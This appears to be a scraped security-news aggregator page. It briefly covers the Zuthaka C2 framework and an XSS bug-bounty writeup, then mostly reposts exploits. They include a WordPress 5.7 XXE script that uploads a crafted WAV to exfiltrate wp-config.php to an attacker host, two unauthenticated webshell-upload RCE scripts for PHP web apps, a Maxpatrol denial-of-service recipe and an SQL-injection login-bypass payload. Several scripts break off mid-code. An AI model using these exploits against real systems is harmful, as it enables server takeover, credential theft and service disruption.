g.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project’s Confluence server hacked to mine Monero2 weeks ago
The post Azure Zero-Day Flaws Highlight Lurking Supply-Chain Risk first appeared on Black Hat Ethical Hacking.

Kali Linux TutorialsZuthaka : An Open Source Application Designed To Assist Red-Teaming Efforts, By Simplifying The Task Of Managing Different APTs And Other Post-Exploitation Tools
Zuthaka is a collaborative free open-source Command & Control integration framework that allows developers to concentrate on the core function and goal of their C2.

About The Project

Problem Statement

The current C2s ecosystem has rapidly grown in order to adapt to modern red team operations and diverse needs (further information on C2 selection can be found here). This comes with a lot of overhead work for Offensive Security professionals everywhere. Creating a C2 is already a demanding task, and most C2s available lack an intuitive and easy to use web interface. Most Red Teams must independently administer and understand each C2 in their infrastructure.

Solution

With the belief that community efforts surpass that of any individual, Zuthaka presents a simplified API for fast and clear integration of C2s and provides a centralized management for multiple C2 instances through a unified interface for Red Team operations.

Zuthaka is more than just a collection of C2s, it is also a solid foundation that can be built upon and easily customized to meet the needs of the exercise that needs to be accomplish. This integration framework for C2 allows developers to concentrate on a unique target environment and not have to reinvent the wheel.

Built With

* Django Rest Framework
* Redis
* ReactJS
* Nginx
* Docker
* PostgreSQL

Already Supported C2

* Covenant
* Empire

Getting Started

Zuthaka is composed of a front-end that exposes a UI for the API of process manager, file manager, shell post-exploitation modules and general C2 handling, and a back-end, in charge of handling the consistency and availability issues of the C2s instantiated in Zuthaka. Also deployed is Redis as a message broker to handle asynchronously every element in the Agent’s UI and an Nginx server.

Prerequisites

The installation of a working Docker instance is necessary for the automatic deployment of the essential infrastructure (Zuthaka’s frontend and backend, Nginx, Redis). All the desired C2s that need to be handled should be deployed in parallel.

Installation

To build the full Zuthaka project, first download dependencies.

git clone https://github.com/pucara/zuthaka

To start the project with the corresponding services, the docker-compose file can be utilized.

docker-compose up

Usage


Download

How did I become a doctor using XSS vulnerability?
https://infosecwriteups.com/how-did-i-become-a-doctor-using-xss-vulnerability-bce190fc114a?source=rss------bug_bounty-5

Hey guyz, once again I am back with a new writeup!!Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-did-i-become-a-doctor-using-xss-vulnerability-bce190fc114a?source=rss------bug_bounty-5)

Exploit CollectorMaxpatrol 8 / Xspider Denial Of Service


Positive Technologies Maxpatrol 8 and Xspider appears to suffer from a denial of service vulnerability.

MD5 | 3d3ab27329281a1f41939a44b7d4918b

Download



# Exploit Title: Positive Technologies Maxpatrol 8 & Xspider Remote DoS (Force clients disconect)
# Date: 2020-08-20
# Exploit Author: AsCiI
# Vendor Homepage: https://www.ptsecurity.com/
#
# Affected Positive Technologies Maxpatrol 8 & Xspider Scanners
# Vulnerability reported in 09.2020. No reply from vendor. Tested on the newest release in 08.2020 probably bug not fixed

# MP8&Xspider uses 2002 default port for clientы connections.
# 1. Connect to server with MP8 client
# 2. Go to any browser (I've used Chrome) on https://[server]:2002
# 3. Press f5 endlessly
# 4. It takes 1-4 munutes to crash MP8
# As 1 guess, every connection get randomly generated ID
# When there to much connections, you've got a chance to get
# present ID for a new connection.



Source:packetstormsecurity.com

Exploit Collector
WordPress 5.7 Media Library XML Injection


https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
WordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.

MD5 | 285ded5933c9cbe2e0d8eae674b16808

Download
# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)
# Date: 16/09/2021
# Exploit Author: David Utón (M3n0sD0n4ld)
# Vendor Homepage: https://wordpress.com
# Affected Version: WordPress 5.6-5.7 & PHP8
# Tested on: Linux Ubuntu 18.04.5 LTS
# CVE : CVE-2021-29447

#!/bin/bash

# Author: @David_Uton (m3n0sd0n4ld)
# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST
# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX
# Variables
rHost=$1
username=$2
password=$3
readFile=$4
lHost=$5

# Functions
# Logotype
logoType(){
echo "
=====================================
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
====================================="
}

# Create wav malicious
wavCreate(){
echo -en "RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml%remote;%init;%trick;]>\x00" > payload.wav && echo "[+] Create payload.wav"
}

# Create xx3.dtd
dtdCreate(){
cat <eotxx3.dtd

" >
EOT
}

# wav upload
wavUpload(){
cat <eot.upload.py
#/usr/bin/env python3

import requests, re, sys

postData = {
'log':"$username",
'pwd':"$password",
'wp-submit':'Log In',
'redirect_to':'http://$rHost/wp-admin/',
'testcookie':1
}

r = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
print("[-] Failed to retrieve the _wpnonce")
exit(0)
else :
wp_nonce = wp_nonce_list[0]
print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce)

print("[+] Uploading the wav file ... ")

postData = {
'name': 'payload.wav',
'action': 'upload-attachment',
'_wpnonce': wp_nonce
}

wav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}
r_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)
if r_upload.status_code == 200:
image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
print('[+] Wav uploaded successfully')
else :
p[...]

Exploit Collector
Church Management System 1.0 Shell Upload


https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Church Management System version 1.0 remote shell upload exploit.

MD5 | 5c2e75b9bc007a4015cb43e73a0bf6dd

Download
# Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Linux, Windows 10 + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 - Unauthenticated Remote Code Execution

#Step 1: run the exploit in python with this command: python3 CMS-RCEv1.0.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.11/church_management/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Church Management System v1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
.----------.
.-''-. / /
. __ __ ___ .' .-. ) / ______.'
.'| | |/ `.' `. / .' / / / /_
.' | | .-. .-. ' (_/ / / / '''--.
< | __ __ | | | | | | ,.----------. / / '___ `.
| | ____ .:--.'. .:--.'. | | | | | |// \ / / `'. |
| | \ .' / | \ | / | \ || | | | | |\\ /. ' ) |
| |/ . `" __ | | `" __ | || | | | | | `'----------'/ / _.-')......-' /
| /\ \ .'.''| | .'.''| ||__| |__| |__| .' ' _.'.-'' \ _..'`
| | \ \ / / | |_/ / | |_ / /.-'_.' '------'''
' \ \ \ \ \._,\ '/\ \._,\ '/ / _.'
'------' '---'`--' `" `--' `" ( _.-'

abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
s = requests.Session()
#Set Cook[...]

Exploit Collector
Online Food Ordering System 2.0 Shell Upload


https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Online Food Ordering System version 2.0 remote shell upload exploit.

MD5 | 3f132c1cd4abfb44da7318034f0e0404

Download
# Exploit Title: Online Food Ordering System 2.0 - Unauthenticated Remote Code Execution
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-19
# Vendor Homepage: https://www.sourcecodester.com/php/14951/online-food-ordering-system-php-and-sqlite-database-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online_ordering.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Food Ordering System 2.0 - Unauthenticated Remote Code Execution

#Step 1: run the exploit in python with this command: python3 OFOS_v2.0.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.6/fos/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Online Food Ordering System v2.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
s = requests.Session()
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/assets/img/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
[...]

Exploit Collector
AMD Chipset Driver Information Disclosure / Memory Leak


ZeroPeril Ltd has discovered two issues inside the amdpsp.sys (v4.13.0.0) kernel driver module that ships with the AMD Chipset Drivers package for multiple AMD chipsets. The first issue is an information disclosure type security vulnerability and the second is a memory leak type bug due to insufficient releasing of all associated allocated resources upon request. The researchers have verified both in the latest Revision Number (2.13.27.501) of the package that was released the 4th of February 2021.

MD5 | f75f9682872ea122ae17d2135dc3359a

Download


Source:packetstormsecurity.com

Exploit CollectorBudget And Expense Tracker System 1.0 SQL Injection


Budget and Expense Tracker System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 40bed83356597733c7fd84b5cb6b2ee0

Download



# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application
allowing the attacker to login with admin acount


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --



Source:packetstormsecurity.com